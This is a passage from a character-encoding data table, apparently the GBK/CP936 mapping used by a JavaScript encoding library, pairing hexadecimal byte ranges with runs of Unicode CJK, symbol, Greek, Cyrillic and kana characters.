\u6EBC\u6EBE\u6EBF\u6EC0\u6EC3\u6EC4\u6EC5\u6EC6\u6EC8\u6EC9\u6ECA\u6ECC\u6ECD\u6ECE\u6ED0\u6ED2\u6ED6\u6ED8\u6ED9\u6EDB\u6EDC\u6EDD\u6EE3\u6EE7\u6EEA",5],["9d40","\u6EF0\u6EF1\u6EF2\u6EF3\u6EF5\u6EF6\u6EF7\u6EF8\u6EFA",7,"\u6F03\u6F04\u6F05\u6F07\u6F08\u6F0A",4,"\u6F10\u6F11\u6F12\u6F16",9,"\u6F21\u6F22\u6F23\u6F25\u6F26\u6F27\u6F28\u6F2C\u6F2E\u6F30\u6F32\u6F34\u6F35\u6F37",6,"\u6F3F\u6F40\u6F41\u6F42"],["9d80","\u6F43\u6F44\u6F45\u6F48\u6F49\u6F4A\u6F4C\u6F4E",9,"\u6F59\u6F5A\u6F5B\u6F5D\u6F5F\u6F60\u6F61\u6F63\u6F64\u6F65\u6F67",5,"\u6F6F\u6F70\u6F71\u6F73\u6F75\u6F76\u6F77\u6F79\u6F7B\u6F7D",6,"\u6F85\u6F86\u6F87\u6F8A\u6F8B\u6F8F",12,"\u6F9D\u6F9E\u6F9F\u6FA0\u6FA2",4,"\u6FA8",10,"\u6FB4\u6FB5\u6FB7\u6FB8\u6FBA",5,"\u6FC1\u6FC3",5,"\u6FCA",6,"\u6FD3",10,"\u6FDF\u6FE2\u6FE3\u6FE4\u6FE5"],["9e40","\u6FE6",7,"\u6FF0",32,"\u7012",7,"\u701C",6,"\u7024",6],["9e80","\u702B",9,"\u7036\u7037\u7038\u703A",17,"\u704D\u704E\u7050",13,"\u705F",11,"\u706E\u7071\u7072\u7073\u7074\u7077\u7079\u707A\u707B\u707D\u7081\u7082\u7083\u7084\u7086\u7087\u7088\u708B\u708C\u708D\u708F\u7090\u7091\u7093\u7097\u7098\u709A\u709B\u709E",12,"\u70B0\u70B2\u70B4\u70B5\u70B6\u70BA\u70BE\u70BF\u70C4\u70C5\u70C6\u70C7\u70C9\u70CB",12,"\u70DA"],["9f40","\u70DC\u70DD\u70DE\u70E0\u70E1\u70E2\u70E3\u70E5\u70EA\u70EE\u70F0",6,"\u70F8\u70FA\u70FB\u70FC\u70FE",10,"\u710B",4,"\u7111\u7112\u7114\u7117\u711B",10,"\u7127",7,"\u7132\u7133\u7134"],["9f80","\u7135\u7137",13,"\u7146\u7147\u7148\u7149\u714B\u714D\u714F",12,"\u715D\u715F",4,"\u7165\u7169",4,"\u716F\u7170\u7171\u7174\u7175\u7176\u7177\u7179\u717B\u717C\u717E",5,"\u7185",4,"\u718B\u718C\u718D\u718E\u7190\u7191\u7192\u7193\u7195\u7196\u7197\u719A",4,"\u71A1",6,"\u71A9\u71AA\u71AB\u71AD",5,"\u71B4\u71B6\u71B7\u71B8\u71BA",8,"\u71C4",9,"\u71CF",4],["a040","\u71D6",9,"\u71E1\u71E2\u71E3\u71E4\u71E6\u71E8",5,"\u71EF",9,"\u71FA",11,"\u7207",19],["a080","\u721B\u721C\u721E",9,"\u7229\u722B\u722D\u722E\u722F\u7232\u7233\u7234\u723A\u723C\u723E\u7240",6,"\u7249\u724A\u724B\u724E\u724F\u7250\u7251\u7253\u7254\u7255\u7257\u7258\u725A\u725C\u725E\u7260\u7263\u7264\u7265\u7268\u726A\u726B\u726C\u726D\u7270\u7271\u7273\u7274\u7276\u7277\u7278\u727B\u727C\u727D\u7282\u7283\u7285",4,"\u728C\u728E\u7290\u7291\u7293",11,"\u72A0",11,"\u72AE\u72B1\u72B2\u72B3\u72B5\u72BA",6,"\u72C5\u72C6\u72C7\u72C9\u72CA\u72CB\u72CC\u72CF\u72D1\u72D3\u72D4\u72D5\u72D6\u72D8\u72DA\u72DB"],["a1a1","\u3000\u3001\u3002\xB7\u02C9\u02C7\xA8\u3003\u3005\u2014\uFF5E\u2016\u2026\u2018\u2019\u201C\u201D\u3014\u3015\u3008",7,"\u3016\u3017\u3010\u3011\xB1\xD7\xF7\u2236\u2227\u2228\u2211\u220F\u222A\u2229\u2208\u2237\u221A\u22A5\u2225\u2220\u2312\u2299\u222B\u222E\u2261\u224C\u2248\u223D\u221D\u2260\u226E\u226F\u2264\u2265\u221E\u2235\u2234\u2642\u2640\xB0\u2032\u2033\u2103\uFF04\xA4\uFFE0\uFFE1\u2030\xA7\u2116\u2606\u2605\u25CB\u25CF\u25CE\u25C7\u25C6\u25A1\u25A0\u25B3\u25B2\u203B\u2192\u2190\u2191\u2193\u3013"],["a2a1","\u2170",9],["a2b1","\u2488",19,"\u2474",19,"\u2460",9],["a2e5","\u3220",9],["a2f1","\u2160",11],["a3a1","\uFF01\uFF02\uFF03\uFFE5\uFF05",88,"\uFFE3"],["a4a1","\u3041",82],["a5a1","\u30A1",85],["a6a1","\u0391",16,"\u03A3",6],["a6c1","\u03B1",16,"\u03C3",6],["a6e0","\uFE35\uFE36\uFE39\uFE3A\uFE3F\uFE40\uFE3D\uFE3E\uFE41\uFE42\uFE43\uFE44"],["a6ee","\uFE3B\uFE3C\uFE37\uFE38\uFE31"],["a6f4","\uFE33\uFE34"],["a7a1","\u0410",5,"\u0401\u0416",25],["a7d1","\u0430",5,"\u0451\u0436",25],["a840","\u02CA\u02CB\u02D9\u2013\u2015\u2025\u2035\u2105\u2109\u2196\u2197\u2198\u2199\u2215\u221F\u2223\u2252\u2266\u2267\u22BF\u2550",35,"\u2581",6],["a880","\u2588",7,"\u2593\u2594\u2595\u25BC\u25BD\u25E2\u25E3\u25E4\u25E5\u2609\u2295\u3012\u301D\u301E"],["a8a1","\u0101\xE1\u01CE\xE0\u0113\xE9\u011B\xE8\u012B\xED\u01D0\xEC\u014D\xF3\u01D2\xF2\u016B\xFA\u01D4\xF9\u01D6\u01D8\u01DA\u01DC\xFC\xEA\u0251"],["a8bd","\u0144\u0148"],["a8c0","\u0261"],["a8c5","\u3105",36],["a940","\u3021",8,"\u32A3\u338E\u338F\u339C\u339D\u339E\u33A1\u33C4\u33CE\u33D1\u33D2\u33D5\uFE30\uFFE2\uFFE4"],["a959","\u2121\u3231"],["a95c","\u2010"],["a960","\u30FC\u309B\u309C\u30FD\u30FE\u3006\u309D\u309E\uFE49",9,"\uFE54\uFE55\uFE56\uFE57\uFE59",8],["a980","\uFE62",4,"\uFE68\uFE69\uFE6A\uFE6B"],["a996","\u3007"],["a9a4","\u2500",75],["aa40","\u72DC\u72DD\u72DF\u72E2",5,"\u72EA\u72EB\u72F5\u72F6\u72F9\u72FD\u72FE\u72FF\u7300\u7302\u7304",5,"\u730B\u730C\u730D\u730F\u7310\u7311\u7312\u7314\u7318\u7319\u731A\u731F\u7320\u7323\u7324\u7326\u7327\u7328\u732D\u732F\u7330\u7332\u7333\u7335\u7336\u733A\u733B\u733C\u733D\u7340",8],["aa80","\u7349\u734A\u734B\u734C\u734E\u734F\u7351\u7353\u7354\u7355\u7356\u7358",7,"\u7361",10,"\u736E\u7370\u7371"],["ab40","\u7372",11,"\u737F",4,"\u7385\u7386\u7388\u738A\u738C\u738D\u738F\u7390\u7392\u7393\u7394\u7395\u7397\u7398\u7399\u739A\u739C\u739D\u739E\u73A0\u73A1\u73A3",5,"\u73AA\u73AC\u73AD\u73B1\u73B4\u73B5\u73B6\u73B8\u73B9\u73BC\u73BD\u73BE\u73BF\u73C1\u73C3",4],["ab80","\u73CB\u73CC\u73CE\u73D2",6,"\u73DA\u73DB\u73DC\u73DD\u73DF\u73E1\u73E2\u73E3\u73E4\u73E6\u73E8\u73EA\u73EB\u73EC\u73EE\u73EF\u73F0\u73F1\u73F3",4],["ac40","\u73F8",10,"\u7404\u7407\u7408\u740B\u740C\u740D\u740E\u7411",8,"\u741C",5,"\u7423\u7424\u7427\u7429\u742B\u742D\u742F\u7431\u7432\u7437",4,"\u743D\u743E\u743F\u7440\u7442",11],["ac80","\u744E",6,"\u7456\u7458\u745D\u7460",12,"\u746E\u746F\u7471",4,"\u7478\u7479\u747A"],["ad40","\u747B\u747C\u747D\u747F\u7482\u7484\u7485\u7486\u7488\u7489\u748A\u748C\u748D\u748F\u7491",10,"\u749D\u749F",7,"\u74AA",15,"\u74BB",12],["ad80","\u74C8",9,"\u74D3",8,"\u74DD\u74DF\u74E1\u74E5\u74E7",6,"\u74F0\u74F1\u74F2"],["ae40","\u74F3\u74F5\u74F8",6,"\u7500\u7501\u7502\u7503\u7505",7,"\u750E\u7510\u7512\u7514\u7515\u7516\u7517\u751B\u751D\u751E\u7520",4,"\u7526\u7527\u752A\u752E\u7534\u7536\u7539\u753C\u753D\u753F\u7541\u7542\u7543\u7544\u7546\u7547\u7549\u754A\u754D\u7550\u7551\u7552\u7553\u7555\u7556\u7557\u7558"],["ae80","\u755D",7,"\u7567\u7568\u7569\u756B",6,"\u7573\u7575\u7576\u7577\u757A",4,"\u7580\u7581\u7582\u7584\u7585\u7587"],["af40","\u7588\u7589\u758A\u758C\u758D\u758E\u7590\u7593\u7595\u7598\u759B\u759C\u759E\u75A2\u75A6",4,"\u75AD\u75B6\u75B7\u75BA\u75BB\u75BF\u75C0\u75C1\u75C6\u75CB\u75CC\u75CE\u75CF\u75D0\u75D1\u75D3\u75D7\u75D9\u75DA\u75DC\u75DD\u75DF\u75E0\u75E1\u75E5\u75E9\u75EC\u75ED\u75EE\u75EF\u75F2\u75F3\u75F5\u75F6\u75F7\u75F8\u75FA\u75FB\u75FD\u75FE\u7602\u7604\u7606\u7607"],["af80","\u7608\u7609\u760B\u760D\u760E\u760F\u7611\u7612\u7613\u7614\u7616\u761A\u761C\u761D\u761E\u7621\u7623\u7627\u7628\u762C\u762E\u762F\u7631\u7632\u7636\u7637\u7639\u763A\u763B\u763D\u7641\u7642\u7644"],["b040","\u7645",6,"\u764E",5,"\u7655\u7657",4,"\u765D\u765F\u7660\u7661\u7662\u7664",6,"\u766C\u766D\u766E\u7670",7,"\u7679\u767A\u767C\u767F\u7680\u7681\u7683\u7685\u7689\u768A\u768C\u768D\u768F\u7690\u7692\u7694\u7695\u7697\u7698\u769A\u769B"],["b080","\u769C",7,"\u76A5",8,"\u76AF\u76B0\u76B3\u76B5",9,"\u76C0\u76C1\u76C3\u554A\u963F\u57C3\u6328\u54CE\u5509\u54C0\u7691\u764C\u853C\u77EE\u827E\u788D\u7231\u9698\u978D\u6C28\u5B89\u4FFA\u6309\u6697\u5CB8\u80FA\u6848\u80AE\u6602\u76CE\u51F9\u6556\u71AC\u7FF1\u8884\u50B2\u5965\u61CA\u6FB3\u82AD\u634C\u6252\u53ED\u5427\u7B06\u516B\u75A4\u5DF4\u62D4\u8DCB\u9776\u628A\u8019\u575D\u9738\u7F62\u7238\u767D\u67CF\u767E\u6446\u4F70\u8D25\u62DC\u7A17\u6591\u73ED\u642C\u6273\u822C\u9881\u677F\u7248\u626E\u62CC\u4F34\u74E3\u534A\u529E\u7ECA\u90A6\u5E2E\u6886\u699C\u8180\u7ED1\u68D2\u78C5\u868C\u9551\u508D\u8C24\u82DE\u80DE\u5305\u8912\u5265"],["b140","\u76C4\u76C7\u76C9\u76CB\u76CC\u76D3\u76D5\u76D9\u76DA\u76DC\u76DD\u76DE\u76E0",4,"\u76E6",7,"\u76F0\u76F3\u76F5\u76F6\u76F7\u76FA\u76FB\u76FD\u76FF\u7700\u7702\u7703\u7705\u7706\u770A\u770C\u770E",10,"\u771B\u771C\u771D\u771E\u7721\u7723\u7724\u7725\u7727\u772A\u772B"],["b180","\u772C\u772E\u7730",4,"\u7739\u773B\u773D\u773E\u773F\u7742\u7744\u7745\u7746\u7748",7,"\u7752",7,"\u775C\u8584\u96F9\u4FDD\u5821\u9971\u5B9D\u62B1\u62A5\u66B4\u8C79\u9C8D\u7206\u676F\u7891\u60B2\u5351\u5317\u8F88\u80CC\u8D1D\u94A1\u500D\u72C8\u5907\u60EB\u7119\u88AB\u5954\u82EF\u672C\u7B28\u5D29\u7EF7\u752D\u6CF5\u8E66\u8FF8\u903C\u9F3B\u6BD4\u9119\u7B14\u5F7C\u78A7\u84D6\u853D\u6BD5\u6BD9\u6BD6\u5E01\u5E87\u75F9\u95ED\u655D\u5F0A\u5FC5\u8F9F\u58C1\u81C2\u907F\u965B\u97AD\u8FB9\u7F16\u8D2C\u6241\u4FBF\u53D8\u535E\u8FA8\u8FA9\u8FAB\u904D\u6807\u5F6A\u8198\u8868\u9CD6\u618B\u522B\u762A\u5F6C\u658C\u6FD2\u6EE8\u5BBE\u6448\u5175\u51B0\u67C4\u4E19\u79C9\u997C\u70B3"],["b240","\u775D\u775E\u775F\u7760\u7764\u7767\u7769\u776A\u776D",11,"\u777A\u777B\u777C\u7781\u7782\u7783\u7786",5,"\u778F\u7790\u7793",11,"\u77A1\u77A3\u77A4\u77A6\u77A8\u77AB\u77AD\u77AE\u77AF\u77B1\u77B2\u77B4\u77B6",4],["b280","\u77BC\u77BE\u77C0",12,"\u77CE",8,"\u77D8\u77D9\u77DA\u77DD",4,"\u77E4\u75C5\u5E76\u73BB\u83E0\u64AD\u62E8\u94B5\u6CE2\u535A\u52C3\u640F\u94C2\u7B94\u4F2F\u5E1B\u8236\u8116\u818A\u6E24\u6CCA\u9A73\u6355\u535C\u54FA\u8865\u57E0\u4E0D\u5E03\u6B65\u7C3F\u90E8\u6016\u64E6\u731C\u88C1\u6750\u624D\u8D22\u776C\u8E29\u91C7\u5F69\u83DC\u8521\u9910\u53C2\u8695\u6B8B\u60ED\u60E8\u707F\u82CD\u8231\u4ED3\u6CA7\u85CF\u64CD\u7CD9\u69FD\u66F9\u8349\u5395\u7B56\u4FA7\u518C\u6D4B\u5C42\u8E6D\u63D2\u53C9\u832C\u8336\u67E5\u78B4\u643D\u5BDF\u5C94\u5DEE\u8BE7\u62C6\u67F4\u8C7A\u6400\u63BA\u8749\u998B\u8C17\u7F20\u94F2\u4EA7\u9610\u98A4\u660C\u7316"],["b340","\u77E6\u77E8\u77EA\u77EF\u77F0\u77F1\u77F2\u77F4\u77F5\u77F7\u77F9\u77FA\u77FB\u77FC\u7803",5,"\u780A\u780B\u780E\u780F\u7810\u7813\u7815\u7819\u781B\u781E\u7820\u7821\u7822\u7824\u7828\u782A\u782B\u782E\u782F\u7831\u7832\u7833\u7835\u7836\u783D\u783F\u7841\u7842\u7843\u7844\u7846\u7848\u7849\u784A\u784B\u784D\u784F\u7851\u7853\u7854\u7858\u7859\u785A"],["b380","\u785B\u785C\u785E",11,"\u786F",7,"\u7878\u7879\u787A\u787B\u787D",6,"\u573A\u5C1D\u5E38\u957F\u507F\u80A0\u5382\u655E\u7545\u5531\u5021\u8D85\u6284\u949E\u671D\u5632\u6F6E\u5DE2\u5435\u7092\u8F66\u626F\u64A4\u63A3\u5F7B\u6F88\u90F4\u81E3\u8FB0\u5C18\u6668\u5FF1\u6C89\u9648\u8D81\u886C\u6491\u79F0\u57CE\u6A59\u6210\u5448\u4E58\u7A0B\u60E9\u6F84\u8BDA\u627F\u901E\u9A8B\u79E4\u5403\u75F4\u6301\u5319\u6C60\u8FDF\u5F1B\u9A70\u803B\u9F7F\u4F88\u5C3A\u8D64\u7FC5\u65A5\u70BD\u5145\u51B2\u866B\u5D07\u5BA0\u62BD\u916C\u7574\u8E0C\u7A20\u6101\u7B79\u4EC7\u7EF8\u7785\u4E11\u81ED\u521D\u51FA\u6A71\u53A8\u8E87\u9504\u96CF\u6EC1\u9664\u695A"],["b440","\u7884\u7885\u7886\u7888\u788A\u788B\u788F\u7890\u7892\u7894\u7895\u7896\u7899\u789D\u789E\u78A0\u78A2\u78A4\u78A6\u78A8",7,"\u78B5\u78B6\u78B7\u78B8\u78BA\u78BB\u78BC\u78BD\u78BF\u78C0\u78C2\u78C3\u78C4\u78C6\u78C7\u78C8\u78CC\u78CD\u78CE\u78CF\u78D1\u78D2\u78D3\u78D6\u78D7\u78D8\u78DA",9],["b480","\u78E4\u78E5\u78E6\u78E7\u78E9\u78EA\u78EB\u78ED",4,"\u78F3\u78F5\u78F6\u78F8\u78F9\u78FB",5,"\u7902\u7903\u7904\u7906",6,"\u7840\u50A8\u77D7\u6410\u89E6\u5904\u63E3\u5DDD\u7A7F\u693D\u4F20\u8239\u5598\u4E32\u75AE\u7A97\u5E62\u5E8A\u95EF\u521B\u5439\u708A\u6376\u9524\u5782\u6625\u693F\u9187\u5507\u6DF3\u7EAF\u8822\u6233\u7EF0\u75B5\u8328\u78C1\u96CC\u8F9E\u6148\u74F7\u8BCD\u6B64\u523A\u8D50\u6B21\u806A\u8471\u56F1\u5306\u4ECE\u4E1B\u51D1\u7C97\u918B\u7C07\u4FC3\u8E7F\u7BE1\u7A9C\u6467\u5D14\u50AC\u8106\u7601\u7CB9\u6DEC\u7FE0\u6751\u5B58\u5BF8\u78CB\u64AE\u6413\u63AA\u632B\u9519\u642D\u8FBE\u7B54\u7629\u6253\u5927\u5446\u6B79\u50A3\u6234\u5E26\u6B86\u4EE3\u8D37\u888B\u5F85\u902E"],["b540","\u790D",5,"\u7914",9,"\u791F",4,"\u7925",14,"\u7935",4,"\u793D\u793F\u7942\u7943\u7944\u7945\u7947\u794A",8,"\u7954\u7955\u7958\u7959\u7961\u7963"],["b580","\u7964\u7966\u7969\u796A\u796B\u796C\u796E\u7970",6,"\u7979\u797B",4,"\u7982\u7983\u7986\u7987\u7988\u7989\u798B\u798C\u798D\u798E\u7990\u7991\u7992\u6020\u803D\u62C5\u4E39\u5355\u90F8\u63B8\u80C6\u65E6\u6C2E\u4F46\u60EE\u6DE1\u8BDE\u5F39\u86CB\u5F53\u6321\u515A\u8361\u6863\u5200\u6363\u8E48\u5012\u5C9B\u7977\u5BFC\u5230\u7A3B\u60BC\u9053\u76D7\u5FB7\u5F97\u7684\u8E6C\u706F\u767B\u7B49\u77AA\u51F3\u9093\u5824\u4F4E\u6EF4\u8FEA\u654C\u7B1B\u72C4\u6DA4\u7FDF\u5AE1\u62B5\u5E95\u5730\u8482\u7B2C\u5E1D\u5F1F\u9012\u7F14\u98A0\u6382\u6EC7\u7898\u70B9\u5178\u975B\u57AB\u7535\u4F43\u7538\u5E97\u60E6\u5960\u6DC0\u6BBF\u7889\u53FC\u96D5\u51CB\u5201\u6389\u540A\u9493\u8C03\u8DCC\u7239\u789F\u8776\u8FED\u8C0D\u53E0"],["b640","\u7993",6,"\u799B",11,"\u79A8",10,"\u79B4",4,"\u79BC\u79BF\u79C2\u79C4\u79C5\u79C7\u79C8\u79CA\u79CC\u79CE\u79CF\u79D0\u79D3\u79D4\u79D6\u79D7\u79D9",5,"\u79E0\u79E1\u79E2\u79E5\u79E8\u79EA"],["b680","\u79EC\u79EE\u79F1",6,"\u79F9\u79FA\u79FC\u79FE\u79FF\u7A01\u7A04\u7A05\u7A07\u7A08\u7A09\u7A0A\u7A0C\u7A0F",4,"\u7A15\u7A16\u7A18\u7A19\u7A1B\u7A1C\u4E01\u76EF\u53EE\u9489\u9876\u9F0E\u952D\u5B9A\u8BA2\u4E22\u4E1C\u51AC\u8463\u61C2\u52A8\u680B\u4F97\u606B\u51BB\u6D1E\u515C\u6296\u6597\u9661\u8C46\u9017\u75D8\u90FD\u7763\u6BD2\u728A\u72EC\u8BFB\u5835\u7779\u8D4C\u675C\u9540\u809A\u5EA6\u6E21\u5992\u7AEF\u77ED\u953B\u6BB5\u65AD\u7F0E\u5806\u5151\u961F\u5BF9\u58A9\u5428\u8E72\u6566\u987F\u56E4\u949D\u76FE\u9041\u6387\u54C6\u591A\u593A\u579B\u8EB2\u6735\u8DFA\u8235\u5241\u60F0\u5815\u86FE\u5CE8\u9E45\u4FC4\u989D\u8BB9\u5A25\u6076\u5384\u627C\u904F\u9102\u997F\u6069\u800C\u513F\u8033\u5C14\u9975\u6D31\u4E8C"],["b740","\u7A1D\u7A1F\u7A21\u7A22\u7A24",14,"\u7A34\u7A35\u7A36\u7A38\u7A3A\u7A3E\u7A40",5,"\u7A47",9,"\u7A52",4,"\u7A58",16],["b780","\u7A69",6,"\u7A71\u7A72\u7A73\u7A75\u7A7B\u7A7C\u7A7D\u7A7E\u7A82\u7A85\u7A87\u7A89\u7A8A\u7A8B\u7A8C\u7A8E\u7A8F\u7A90\u7A93\u7A94\u7A99\u7A9A\u7A9B\u7A9E\u7AA1\u7AA2\u8D30\u53D1\u7F5A\u7B4F\u4F10\u4E4F\u9600\u6CD5\u73D0\u85E9\u5E06\u756A\u7FFB\u6A0A\u77FE\u9492\u7E41\u51E1\u70E6\u53CD\u8FD4\u8303\u8D29\u72AF\u996D\u6CDB\u574A\u82B3\u65B9\u80AA\u623F\u9632\u59A8\u4EFF\u8BBF\u7EBA\u653E\u83F2\u975E\u5561\u98DE\u80A5\u532A\u8BFD\u5420\u80BA\u5E9F\u6CB8\u8D39\u82AC\u915A\u5429\u6C1B\u5206\u7EB7\u575F\u711A\u6C7E\u7C89\u594B\u4EFD\u5FFF\u6124\u7CAA\u4E30\u5C01\u67AB\u8702\u5CF0\u950B\u98CE\u75AF\u70FD\u9022\u51AF\u7F1D\u8BBD\u5949\u51E4\u4F5B\u5426\u592B\u6577\u80A4\u5B75\u6276\u62C2\u8F90\u5E45\u6C1F\u7B26\u4F0F\u4FD8\u670D"],["b840","\u7AA3\u7AA4\u7AA7\u7AA9\u7AAA\u7AAB\u7AAE",4,"\u7AB4",10,"\u7AC0",10,"\u7ACC",9,"\u7AD7\u7AD8\u7ADA\u7ADB\u7ADC\u7ADD\u7AE1\u7AE2\u7AE4\u7AE7",5,"\u7AEE\u7AF0\u7AF1\u7AF2\u7AF3"],["b880","\u7AF4",4,"\u7AFB\u7AFC\u7AFE\u7B00\u7B01\u7B02\u7B05\u7B07\u7B09\u7B0C\u7B0D\u7B0E\u7B10\u7B12\u7B13\u7B16\u7B17\u7B18\u7B1A\u7B1C\u7B1D\u7B1F\u7B21\u7B22\u7B23\u7B27\u7B29\u7B2D\u6D6E\u6DAA\u798F\u88B1\u5F17\u752B\u629A\u8F85\u4FEF\u91DC\u65A7\u812F\u8151\u5E9C\u8150\u8D74\u526F\u8986\u8D4B\u590D\u5085\u4ED8\u961C\u7236\u8179\u8D1F\u5BCC\u8BA3\u9644\u5987\u7F1A\u5490\u5676\u560E\u8BE5\u6539\u6982\u9499\u76D6\u6E89\u5E72\u7518\u6746\u67D1\u7AFF\u809D\u8D76\u611F\u79C6\u6562\u8D63\u5188\u521A\u94A2\u7F38\u809B\u7EB2\u5C97\u6E2F\u6760\u7BD9\u768B\u9AD8\u818F\u7F94\u7CD5\u641E\u9550\u7A3F\u544A\u54E5\u6B4C\u6401\u6208\u9E3D\u80F3\u7599\u5272\u9769\u845B\u683C\u86E4\u9601\u9694\u94EC\u4E2A\u5404\u7ED9\u6839\u8DDF\u8015\u66F4\u5E9A\u7FB9"],["b940","\u7B2F\u7B30\u7B32\u7B34\u7B35\u7B36\u7B37\u7B39\u7B3B\u7B3D\u7B3F",5,"\u7B46\u7B48\u7B4A\u7B4D\u7B4E\u7B53\u7B55\u7B57\u7B59\u7B5C\u7B5E\u7B5F\u7B61\u7B63",10,"\u7B6F\u7B70\u7B73\u7B74\u7B76\u7B78\u7B7A\u7B7C\u7B7D\u7B7F\u7B81\u7B82\u7B83\u7B84\u7B86",6,"\u7B8E\u7B8F"],["b980","\u7B91\u7B92\u7B93\u7B96\u7B98\u7B99\u7B9A\u7B9B\u7B9E\u7B9F\u7BA0\u7BA3\u7BA4\u7BA5\u7BAE\u7BAF\u7BB0\u7BB2\u7BB3\u7BB5\u7BB6\u7BB7\u7BB9",7,"\u7BC2\u7BC3\u7BC4\u57C2\u803F\u6897\u5DE5\u653B\u529F\u606D\u9F9A\u4F9B\u8EAC\u516C\u5BAB\u5F13\u5DE9\u6C5E\u62F1\u8D21\u5171\u94A9\u52FE\u6C9F\u82DF\u72D7\u57A2\u6784\u8D2D\u591F\u8F9C\u83C7\u5495\u7B8D\u4F30\u6CBD\u5B64\u59D1\u9F13\u53E4\u86CA\u9AA8\u8C37\u80A1\u6545\u987E\u56FA\u96C7\u522E\u74DC\u5250\u5BE1\u6302\u8902\u4E56\u62D0\u602A\u68FA\u5173\u5B98\u51A0\u89C2\u7BA1\u9986\u7F50\u60EF\u704C\u8D2F\u5149\u5E7F\u901B\u7470\u89C4\u572D\u7845\u5F52\u9F9F\u95FA\u8F68\u9B3C\u8BE1\u7678\u6842\u67DC\u8DEA\u8D35\u523D\u8F8A\u6EDA\u68CD\u9505\u90ED\u56FD\u679C\u88F9\u8FC7\u54C8"],["ba40","\u7BC5\u7BC8\u7BC9\u7BCA\u7BCB\u7BCD\u7BCE\u7BCF\u7BD0\u7BD2\u7BD4",4,"\u7BDB\u7BDC\u7BDE\u7BDF\u7BE0\u7BE2\u7BE3\u7BE4\u7BE7\u7BE8\u7BE9\u7BEB\u7BEC\u7BED\u7BEF\u7BF0\u7BF2",4,"\u7BF8\u7BF9\u7BFA\u7BFB\u7BFD\u7BFF",7,"\u7C08\u7C09\u7C0A\u7C0D\u7C0E\u7C10",5,"\u7C17\u7C18\u7C19"],["ba80","\u7C1A",4,"\u7C20",5,"\u7C28\u7C29\u7C2B",12,"\u7C39",5,"\u7C42\u9AB8\u5B69\u6D77\u6C26\u4EA5\u5BB3\u9A87\u9163\u61A8\u90AF\u97E9\u542B\u6DB5\u5BD2\u51FD\u558A\u7F55\u7FF0\u64BC\u634D\u65F1\u61BE\u608D\u710A\u6C57\u6C49\u592F\u676D\u822A\u58D5\u568E\u8C6A\u6BEB\u90DD\u597D\u8017\u53F7\u6D69\u5475\u559D\u8377\u83CF\u6838\u79BE\u548C\u4F55\u5408\u76D2\u8C89\u9602\u6CB3\u6DB8\u8D6B\u8910\u9E64\u8D3A\u563F\u9ED1\u75D5\u5F88\u72E0\u6068\u54FC\u4EA8\u6A2A\u8861\u6052\u8F70\u54C4\u70D8\u8679\u9E3F\u6D2A\u5B8F\u5F18\u7EA2\u5589\u4FAF\u7334\u543C\u539A\u5019\u540E\u547C\u4E4E\u5FFD\u745A\u58F6\u846B\u80E1\u8774\u72D0\u7CCA\u6E56"],["bb40","\u7C43",9,"\u7C4E",36,"\u7C75",5,"\u7C7E",9],["bb80","\u7C88\u7C8A",6,"\u7C93\u7C94\u7C96\u7C99\u7C9A\u7C9B\u7CA0\u7CA1\u7CA3\u7CA6\u7CA7\u7CA8\u7CA9\u7CAB\u7CAC\u7CAD\u7CAF\u7CB0\u7CB4",4,"\u7CBA\u7CBB\u5F27\u864E\u552C\u62A4\u4E92\u6CAA\u6237\u82B1\u54D7\u534E\u733E\u6ED1\u753B\u5212\u5316\u8BDD\u69D0\u5F8A\u6000\u6DEE\u574F\u6B22\u73AF\u6853\u8FD8\u7F13\u6362\u60A3\u5524\u75EA\u8C62\u7115\u6DA3\u5BA6\u5E7B\u8352\u614C\u9EC4\u78FA\u8757\u7C27\u7687\u51F0\u60F6\u714C\u6643\u5E4C\u604D\u8C0E\u7070\u6325\u8F89\u5FBD\u6062\u86D4\u56DE\u6BC1\u6094\u6167\u5349\u60E0\u6666\u8D3F\u79FD\u4F1A\u70E9\u6C47\u8BB3\u8BF2\u7ED8\u8364\u660F\u5A5A\u9B42\u6D51\u6DF7\u8C41\u6D3B\u4F19\u706B\u83B7\u6216\u60D1\u970D\u8D27\u7978\u51FB\u573E\u57FA\u673A\u7578\u7A3D\u79EF\u7B95"],["bc40","\u7CBF\u7CC0\u7CC2\u7CC3\u7CC4\u7CC6\u7CC9\u7CCB\u7CCE",6,"\u7CD8\u7CDA\u7CDB\u7CDD\u7CDE\u7CE1",6,"\u7CE9",5,"\u7CF0",7,"\u7CF9\u7CFA\u7CFC",13,"\u7D0B",5],["bc80","\u7D11",14,"\u7D21\u7D23\u7D24\u7D25\u7D26\u7D28\u7D29\u7D2A\u7D2C\u7D2D\u7D2E\u7D30",6,"\u808C\u9965\u8FF9\u6FC0\u8BA5\u9E21\u59EC\u7EE9\u7F09\u5409\u6781\u68D8\u8F91\u7C4D\u96C6\u53CA\u6025\u75BE\u6C72\u5373\u5AC9\u7EA7\u6324\u51E0\u810A\u5DF1\u84DF\u6280\u5180\u5B63\u4F0E\u796D\u5242\u60B8\u6D4E\u5BC4\u5BC2\u8BA1\u8BB0\u65E2\u5FCC\u9645\u5993\u7EE7\u7EAA\u5609\u67B7\u5939\u4F73\u5BB6\u52A0\u835A\u988A\u8D3E\u7532\u94BE\u5047\u7A3C\u4EF7\u67B6\u9A7E\u5AC1\u6B7C\u76D1\u575A\u5C16\u7B3A\u95F4\u714E\u517C\u80A9\u8270\u5978\u7F04\u8327\u68C0\u67EC\u78B1\u7877\u62E3\u6361\u7B80\u4FED\u526A\u51CF\u8350\u69DB\u9274\u8DF5\u8D31\u89C1\u952E\u7BAD\u4EF6"],["bd40","\u7D37",54,"\u7D6F",7],["bd80","\u7D78",32,"\u5065\u8230\u5251\u996F\u6E10\u6E85\u6DA7\u5EFA\u50F5\u59DC\u5C06\u6D46\u6C5F\u7586\u848B\u6868\u5956\u8BB2\u5320\u9171\u964D\u8549\u6912\u7901\u7126\u80F6\u4EA4\u90CA\u6D47\u9A84\u5A07\u56BC\u6405\u94F0\u77EB\u4FA5\u811A\u72E1\u89D2\u997A\u7F34\u7EDE\u527F\u6559\u9175\u8F7F\u8F83\u53EB\u7A96\u63ED\u63A5\u7686\u79F8\u8857\u9636\u622A\u52AB\u8282\u6854\u6770\u6377\u776B\u7AED\u6D01\u7ED3\u89E3\u59D0\u6212\u85C9\u82A5\u754C\u501F\u4ECB\u75A5\u8BEB\u5C4A\u5DFE\u7B4B\u65A4\u91D1\u4ECA\u6D25\u895F\u7D27\u9526\u4EC5\u8C28\u8FDB\u9773\u664B\u7981\u8FD1\u70EC\u6D78"],["be40","\u7D99",12,"\u7DA7",6,"\u7DAF",42],["be80","\u7DDA",32,"\u5